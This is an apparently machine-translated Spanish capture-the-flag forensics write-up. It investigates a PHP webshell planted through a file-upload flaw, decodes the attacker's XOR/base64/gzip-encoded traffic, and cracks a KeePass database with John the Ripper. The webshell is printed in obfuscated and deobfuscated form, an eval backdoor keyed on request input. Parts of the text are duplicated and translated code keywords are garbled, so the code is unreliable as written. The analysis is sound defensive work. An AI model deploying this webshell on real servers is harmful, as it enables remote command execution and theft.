Cubrimos un escenario de respuesta a incidentes que implicaba el uso de habilidades forenses para investigar un servidor web pirateado mediante la explotación de una vulnerabilidad de carga de archivos. Se nos proporcionó el webshell que utilizó el atacante junto con un archivo de volcado de paquetes que incluía los paquetes intercambiados entre el atacante y el servidor web mientras estaban ejecutando comandos.

Decodificamos el script usando base64, cifrado XOR y compresión Gzip para descubrir los comandos que ejecutó el atacante junto con el resultado recibido.

Descubrimos que el atacante descargó un archivo Keepass codificado con base64, por lo que usamos keepass2john para extraer el hash y john the ripper para encontrar la contraseña de la base de datos de contraseñas que contenía la bandera.

Obtenga notas de informática forense

El curso completo y práctico de pruebas de penetración de aplicaciones web

Descripción del desafío

Un atacante ha encontrado una vulnerabilidad en nuestro servidor web que permite la carga de archivos PHP arbitrarios en nuestro servidor Apache. De esta manera, el hacker ha subido lo que parece ser un shell ofuscado (support.php). Monitoreamos nuestra red las 24 horas del día, los 7 días de la semana y generamos registros desde tcpdump (proporcionamos el archivo de registro durante un período de dos minutos antes de finalizar el servicio HTTP para su investigación), sin embargo, necesitamos su ayuda para analizar e identificar los comandos que el atacante escribió para comprender. lo que estaba comprometido.

Vídeos destacados

El script php webshell ofuscado se encuentra a continuación

<?php$V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u );función u)x(

Después de la desofuscación se vuelve

$k=”80e32263”;
$kh=”6f8af44abea0″;
$kf=”351039f4a7b5”;
$p=”0UlYyJHG87EJqEz6”;
función x($t,$k){
$c=strelen($k);
$l=strelen($t);
1TP4A=””;
para($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
devolver 1TP4A;
}
if(@preg_match(“/$kh(.+)$kf/”,@file_get_contents(“php://input”),$m)==1){
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
imprimir(“$p$kh$r$kf”);
}

Podemos seguir el proceso inverso al anterior para decodificar la salida recibida por el atacante (que se muestra en el wireshark).

@gzuncompress(@x(@base64_decode($encoded),$k));

Por ejemplo, el siguiente resultado se observa en el primer paquete de Wireshark.

0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy351039f4a7b5

Si le quitamos el $p, $kh y $kf, podemos terminar con $r

QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy

Lo anterior corresponde al resultado siguiente (el resultado del comando id)

uid=33(www-datos) gid=33(www-datos) grupos=33(www-datos)

Tutorial en vídeo

https://www.youtube.com/watch?v=VSgdzLoCWl0

;$P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match(" /$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents(';$d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i=0u);u)$i <$l;){for(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i';$B='ob_get_cou)ntu)ents();@obu)_end_cleu)anu)();$r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k)) ;pru)u)int(u)"$p$kh$r$kf");}';$N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion');$c='"php://u)entrada"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@ bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@';$u=str_replace('u)','',$V.$d.$P.$c.$B);$x=$N('',$u);$x();?>

Después de la desofuscación se vuelve

$k=”80e32263”;
$kh=”6f8af44abea0″;
$kf=”351039f4a7b5”;
$p=”0UlYyJHG87EJqEz6”;
función x($t,$k){
$c=strelen($k);
$l=strelen($t);
1TP4A=””;
para($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
devolver 1TP4A;
}
if(@preg_match(“/$kh(.+)$kf/”,@file_get_contents(“php://input”),$m)==1){
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
imprimir(“$p$kh$r$kf”);
}

Podemos seguir el proceso inverso al anterior para decodificar la salida recibida por el atacante (que se muestra en el wireshark).

@gzuncompress(@x(@base64_decode($encoded),$k));

Por ejemplo, el siguiente resultado se observa en el primer paquete de Wireshark.

0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy351039f4a7b5

Si le quitamos el $p, $kh y $kf, podemos terminar con $r

QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy

Lo anterior corresponde al resultado siguiente (el resultado del comando id)


Tutorial en vídeo

Acerca del Autor

Creo notas de ciberseguridad, notas de marketing digital y cursos online. También brindo consultoría de marketing digital que incluye, entre otros, SEO, Google y meta anuncios y administración de CRM.

Ver Artículos